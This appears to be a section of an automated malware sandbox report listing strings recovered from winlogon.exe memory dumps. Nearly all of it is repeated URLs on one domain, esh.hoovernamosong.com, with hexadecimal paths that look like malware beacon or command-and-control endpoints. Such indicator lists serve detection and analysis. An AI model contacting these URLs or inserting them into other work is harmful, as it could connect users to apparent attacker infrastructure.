Source: winlogon.exe, 00000007.00000003.1924324954.0000025DD7D63000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2061155718.0000025DD7D62000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.1995391797.0000025DD7D63000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2052659954.0000025DD7D62000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2052121590.0000025DD7D59000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.1937515919.0000025DD7D63000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2000185393.0000025DD7D5B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://esh.hoovernamosong.com/00000000006AA45A00000000006AA45A
Source: winlogon.exe, 00000007.00000003.1924324954.0000025DD7D63000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://esh.hoovernamosong.com/00000000006AA45A00000000006AA45A)F
Source: winlogon.exe, 00000007.00000003.1994871113.0000025DD7D63000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2000392952.0000025DD7D62000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.1945224189.0000025DD7D63000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.1995391797.0000025DD7D63000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2000185393.0000025DD7D5B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://esh.hoovernamosong.com/00000000006BF3EC00000000006BF3EC
Source: winlogon.exe, 00000007.00000003.1945224189.0000025DD7D63000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://esh.hoovernamosong.com/00000000006BF3EC00000000006BF3EC7
Source: winlogon.exe, 00000007.00000003.1945224189.0000025DD7D63000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://esh.hoovernamosong.com/00000000006BF3EC00000000006BF3ECur
Source: winlogon.exe, 00000007.00000003.2000392952.0000025DD7D62000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2000513636.0000025DD7D2F000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2060818797.0000025DD7D5B000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2052464971.0000025DD7D40000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2061155718.0000025DD7D62000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2000513636.0000025DD7D40000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2052659954.0000025DD7D62000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2052121590.0000025DD7D59000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2000185393.0000025DD7D5B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://esh.hoovernamosong.com/00000000006C584400000000006C5844
Source: winlogon.exe, 00000007.00000003.2000392952.0000025DD7D62000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2060818797.0000025DD7D5B000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2159867639.0000025DD7D63000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2111743940.0000025DD7D56000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2061155718.0000025DD7D62000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2052659954.0000025DD7D62000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2052121590.0000025DD7D59000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2000185393.0000025DD7D5B000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2112053895.0000025DD7D62000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://esh.hoovernamosong.com/00000000006C584400000000006C58443.0.30729;
Source: winlogon.exe, 00000007.00000003.2000513636.0000025DD7D2F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://esh.hoovernamosong.com/00000000006C584400000000006C5844B
Source: winlogon.exe, 00000007.00000003.2000392952.0000025DD7D62000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2060818797.0000025DD7D5B000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2061155718.0000025DD7D62000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2052659954.0000025DD7D62000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2052121590.0000025DD7D59000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2000185393.0000025DD7D5B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://esh.hoovernamosong.com/00000000006C584400000000006C5844OIDInfo
Source: winlogon.exe, 00000007.00000003.2061155718.0000025DD7D62000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2061038448.0000025DD7D40000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2061038448.0000025DD7D2F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://esh.hoovernamosong.com/00000000006D7F8E00000000006D7F8E
Source: winlogon.exe, 00000007.00000003.2060818797.0000025DD7D5B000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2111743940.0000025DD7D56000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2061155718.0000025DD7D62000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2112053895.0000025DD7D62000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://esh.hoovernamosong.com/00000000006D7F8E00000000006D7F8E3.0.30729;
Source: winlogon.exe, 00000007.00000003.2061038448.0000025DD7D2F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://esh.hoovernamosong.com/00000000006D7F8E00000000006D7F8EB
Source: winlogon.exe, 00000007.00000003.2159867639.0000025DD7D63000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://esh.hoovernamosong.com/00000000006FE06100000000006FE061(
Source: winlogon.exe, 00000007.00000003.2273448388.0000025DD7D3C000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2327309271.0000025DD7D3C000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2341264153.0000025DD7D22000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2341482071.0000025DD7D3C000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2327144509.0000025DD7D21000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2286499322.0000025DD7D3C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://esh.hoovernamosong.com/0000000000706D110000000000706D11
Source: winlogon.exe, 00000007.00000003.2227695779.0000025DD7D3C000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2273448388.0000025DD7D3C000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2327309271.0000025DD7D3C000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2327144509.0000025DD7D21000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2286499322.0000025DD7D3C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://esh.hoovernamosong.com/0000000000706D110000000000706D11l
Source: winlogon.exe, 00000007.00000003.2227695779.0000025DD7D3C000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2273448388.0000025DD7D3C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://esh.hoovernamosong.com/0000000000706D110000000000706D11z
Source: winlogon.exe, 00000007.00000003.2273448388.0000025DD7D3C000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2327309271.0000025DD7D3C000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2341264153.0000025DD7D22000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2341482071.0000025DD7D3C000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2327144509.0000025DD7D21000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2286499322.0000025DD7D3C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://esh.hoovernamosong.com/0000000000722F620000000000722F62
Source: winlogon.exe, 00000007.00000003.2273448388.0000025DD7D3C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://esh.hoovernamosong.com/0000000000722F620000000000722F62iI
Source: winlogon.exe, 00000007.00000003.2399612759.0000025DD7D21000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2399836388.0000025DD7D3C000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2440915800.0000025DD7D3C000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2327309271.0000025DD7D3C000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2341264153.0000025DD7D22000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2341482071.0000025DD7D3C000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2327144509.0000025DD7D21000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://esh.hoovernamosong.com/000000000072BB27000000000072BB27
Source: winlogon.exe, 00000007.00000003.2327309271.0000025DD7D3C000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2341264153.0000025DD7D22000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2341482071.0000025DD7D3C000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2327144509.0000025DD7D21000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://esh.hoovernamosong.com/000000000072BB27000000000072BB27&
Source: winlogon.exe, 00000007.00000003.2327309271.0000025DD7D3C000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2341264153.0000025DD7D22000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2341482071.0000025DD7D3C000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2327144509.0000025DD7D21000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://esh.hoovernamosong.com/000000000072BB27000000000072BB271U
Source: winlogon.exe, 00000007.00000003.2399612759.0000025DD7D21000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2399836388.0000025DD7D3C000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2440915800.0000025DD7D3C000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2456373927.0000025DD7D3C000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2511472862.0000025DD7D3C000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2327309271.0000025DD7D3C000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2341264153.0000025DD7D22000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2341482071.0000025DD7D3C000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2327144509.0000025DD7D21000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://esh.hoovernamosong.com/000000000072BB27000000000072BB27G
Source: winlogon.exe, 00000007.00000003.2327309271.0000025DD7D3C000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2341264153.0000025DD7D22000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2341482071.0000025DD7D3C000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2327144509.0000025DD7D21000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://esh.hoovernamosong.com/000000000072BB27000000000072BB27h
Source: winlogon.exe, 00000007.00000003.2399612759.0000025DD7D21000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2399836388.0000025DD7D3C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://esh.hoovernamosong.com/0000000000742FC60000000000742FC6
Source: winlogon.exe, 00000007.00000003.2399612759.0000025DD7D21000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2399836388.0000025DD7D3C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://esh.hoovernamosong.com/0000000000742FC60000000000742FC6&
Source: winlogon.exe, 00000007.00000003.2399612759.0000025DD7D21000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2399836388.0000025DD7D3C000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2440915800.0000025DD7D3C000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2456373927.0000025DD7D3C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://esh.hoovernamosong.com/0000000000742FC60000000000742FC61U
Source: winlogon.exe, 00000007.00000003.2399612759.0000025DD7D21000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2399836388.0000025DD7D3C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://esh.hoovernamosong.com/0000000000742FC60000000000742FC64
Source: winlogon.exe, 00000007.00000003.2399612759.0000025DD7D21000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2399836388.0000025DD7D3C000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2440915800.0000025DD7D3C000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2456373927.0000025DD7D3C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://esh.hoovernamosong.com/0000000000742FC60000000000742FC6Z
Source: winlogon.exe, 00000007.00000003.2399612759.0000025DD7D21000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2399836388.0000025DD7D3C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://esh.hoovernamosong.com/0000000000742FC60000000000742FC6c
Source: winlogon.exe, 00000007.00000003.2440915800.0000025DD7D3C000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2456373927.0000025DD7D3C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://esh.hoovernamosong.com/0000000000746D3C0000000000746D3C
Source: winlogon.exe, 00000007.00000003.2613464453.0000025DD7D3C000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2564905657.0000025DD7D3C000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2440915800.0000025DD7D3C000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2456373927.0000025DD7D3C000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2511472862.0000025DD7D3C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://esh.hoovernamosong.com/0000000000746D3C0000000000746D3C&
Source: winlogon.exe, 00000007.00000003.2440915800.0000025DD7D3C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://esh.hoovernamosong.com/0000000000746D3C0000000000746D3C0
Source: winlogon.exe, 00000007.00000003.2613464453.0000025DD7D3C000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2564905657.0000025DD7D3C000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2440915800.0000025DD7D3C000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2895749586.0000025DD7D3C000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2456373927.0000025DD7D3C000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2908507275.0000025DD7D3C000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2511472862.0000025DD7D3C000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2671761294.0000025DD7D3C000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2835431713.0000025DD7D3C000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2659565403.0000025DD7D3C000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2730326692.0000025DD7D3C000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2772590417.0000025DD7D3C000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2848528213.0000025DD7D3C000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2786614588.0000025DD7D3C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://esh.hoovernamosong.com/0000000000746D3C0000000000746D3C1
Source: winlogon.exe, 00000007.00000003.2440915800.0000025DD7D3C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://esh.hoovernamosong.com/0000000000746D3C0000000000746D3C21
Source: winlogon.exe, 00000007.00000003.2440915800.0000025DD7D3C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://esh.hoovernamosong.com/0000000000746D3C0000000000746D3Ch
Source: winlogon.exe, 00000007.00000003.2456373927.0000025DD7D3C000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2511472862.0000025DD7D3C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://esh.hoovernamosong.com/00000000007544B000000000007544B0
Source: winlogon.exe, 00000007.00000003.2456373927.0000025DD7D3C000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2511472862.0000025DD7D3C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://esh.hoovernamosong.com/00000000007544B000000000007544B01
Source: winlogon.exe, 00000007.00000003.2456373927.0000025DD7D3C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://esh.hoovernamosong.com/00000000007544B000000000007544B021
Source: winlogon.exe, 00000007.00000003.2456373927.0000025DD7D3C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://esh.hoovernamosong.com/00000000007544B000000000007544B0=
Source: winlogon.exe, 00000007.00000003.2564905657.0000025DD7D3C000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2511472862.0000025DD7D3C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://esh.hoovernamosong.com/00000000007559CF00000000007559CF
Source: winlogon.exe, 00000007.00000003.2511472862.0000025DD7D3C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://esh.hoovernamosong.com/00000000007559CF00000000007559CF21
Source: winlogon.exe, 00000007.00000003.2511472862.0000025DD7D3C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://esh.hoovernamosong.com/00000000007559CF00000000007559CF=
Source: winlogon.exe, 00000007.00000003.2564905657.0000025DD7D3C000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2511472862.0000025DD7D3C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://esh.hoovernamosong.com/00000000007559CF00000000007559CFL
Source: winlogon.exe, 00000007.00000003.2511472862.0000025DD7D3C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://esh.hoovernamosong.com/00000000007559CF00000000007559CFft
Source: winlogon.exe, 00000007.00000003.2511472862.0000025DD7D3C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://esh.hoovernamosong.com/00000000007559CF00000000007559CFh
Source: winlogon.exe, 00000007.00000003.2564905657.0000025DD7D3C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://esh.hoovernamosong.com/000000000075BC61000000000075BC61
Source: winlogon.exe, 00000007.00000003.2564905657.0000025DD7D3C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://esh.hoovernamosong.com/000000000075BC61000000000075BC6121
Source: winlogon.exe, 00000007.00000003.2613464453.0000025DD7D3C000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2564905657.0000025DD7D3C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://esh.hoovernamosong.com/000000000075BC61000000000075BC61U
Source: winlogon.exe, 00000007.00000003.2613464453.0000025DD7D3C000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2564905657.0000025DD7D3C000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2659565403.0000025DD7D3C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://esh.hoovernamosong.com/000000000075BC61000000000075BC61l
Source: winlogon.exe, 00000007.00000003.2659565403.0000025DD7D3C000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2795030136.0000025DD8969000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2786297207.0000025DD8969000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2955255375.0000025DD8969000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://esh.hoovernamosong.com/00000000007709530000000000770953
Source: winlogon.exe, 00000007.00000003.2671761294.0000025DD7D3C000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2659565403.0000025DD7D3C000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2730326692.0000025DD7D3C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://esh.hoovernamosong.com/00000000007709530000000000770953&
Source: winlogon.exe, 00000007.00000003.2671761294.0000025DD7D3C000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2659565403.0000025DD7D3C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://esh.hoovernamosong.com/00000000007709530000000000770953ftu
Source: winlogon.exe, 00000007.00000003.2659565403.0000025DD7D3C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://esh.hoovernamosong.com/00000000007709530000000000770953i
Source: winlogon.exe, 00000007.00000003.2671761294.0000025DD7D3C000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2659565403.0000025DD7D3C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://esh.hoovernamosong.com/00000000007709530000000000770953z
Source: winlogon.exe, 00000007.00000003.2730326692.0000025DD7D3C000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2973920672.0000025DD8969000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2795030136.0000025DD8969000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2786297207.0000025DD8969000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2955255375.0000025DD8969000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://esh.hoovernamosong.com/0000000000791B7A0000000000791B7A
Source: winlogon.exe, 00000007.00000003.2835431713.0000025DD7D3C000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2772590417.0000025DD7D3C000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2848528213.0000025DD7D3C000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2786614588.0000025DD7D3C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://esh.hoovernamosong.com/00000000007980100000000000798010
Source: winlogon.exe, 00000007.00000003.2772590417.0000025DD7D3C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://esh.hoovernamosong.com/000000000079801000000000007980101L
Source: winlogon.exe, 00000007.00000003.2772590417.0000025DD7D3C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://esh.hoovernamosong.com/00000000007980100000000000798010i
Source: winlogon.exe, 00000007.00000003.2835431713.0000025DD7D3C000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2848528213.0000025DD7D3C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://esh.hoovernamosong.com/00000000007AF52C00000000007AF52C
Source: winlogon.exe, 00000007.00000003.2835431713.0000025DD7D3C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://esh.hoovernamosong.com/00000000007AF52C00000000007AF52C1
Source: winlogon.exe, 00000007.00000003.2968981297.0000025DD7D3C000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.3011190667.0000025DD7D3C000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2895749586.0000025DD7D3C000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2908507275.0000025DD7D3C000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2835431713.0000025DD7D3C000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2955869620.0000025DD7D3C000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.3023216561.0000025DD7D3C000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.3066556447.0000025DD7D3C000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2848528213.0000025DD7D3C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://esh.hoovernamosong.com/00000000007AF52C00000000007AF52C21
Source: winlogon.exe, 00000007.00000003.2835431713.0000025DD7D3C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://esh.hoovernamosong.com/00000000007AF52C00000000007AF52Cft
Source: winlogon.exe, 00000007.00000003.2835431713.0000025DD7D3C000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2848528213.0000025DD7D3C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://esh.hoovernamosong.com/00000000007AF52C00000000007AF52Ct/
Source: winlogon.exe, 00000007.00000003.2895749586.0000025DD7D3C000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2857464222.0000025DD8960000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2895141098.0000025DD8960000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://esh.hoovernamosong.com/00000000007BF79800000000007BF798
Source: winlogon.exe, 00000007.00000003.2895749586.0000025DD7D3C000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2908507275.0000025DD7D3C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://esh.hoovernamosong.com/00000000007BF79800000000007BF798I
Source: winlogon.exe, 00000007.00000003.2895749586.0000025DD7D3C000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2908507275.0000025DD7D3C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://esh.hoovernamosong.com/00000000007BF79800000000007BF798i
Source: winlogon.exe, 00000007.00000003.2968981297.0000025DD7D3C000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.3011190667.0000025DD7D3C000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2895749586.0000025DD7D3C000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2908507275.0000025DD7D3C000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2955869620.0000025DD7D3C000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.3023216561.0000025DD7D3C000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.3066556447.0000025DD7D3C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://esh.hoovernamosong.com/00000000007BF79800000000007BF798iu
Source: winlogon.exe, 00000007.00000003.2895749586.0000025DD7D3C000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2908507275.0000025DD7D3C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://esh.hoovernamosong.com/00000000007BF79800000000007BF798t/
Source: winlogon.exe, 00000007.00000003.2955869620.0000025DD7D3C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://esh.hoovernamosong.com/00000000007E312D00000000007E312D
Source: winlogon.exe, 00000007.00000002.3071645411.0000025DD7D63000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://esh.hoovernamosong.com/00000000007E312D00000000007E312D(
Source: winlogon.exe, 00000007.00000003.2968981297.0000025DD7D3C000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000002.3071510813.0000025DD7D3D000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.3011190667.0000025DD7D3C000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2955869620.0000025DD7D3C000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.3023216561.0000025DD7D3C000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.3066556447.0000025DD7D3C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://esh.hoovernamosong.com/00000000007E312D00000000007E312D1
Source: winlogon.exe, 00000007.00000003.2955869620.0000025DD7D3C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://esh.hoovernamosong.com/00000000007E312D00000000007E312D21
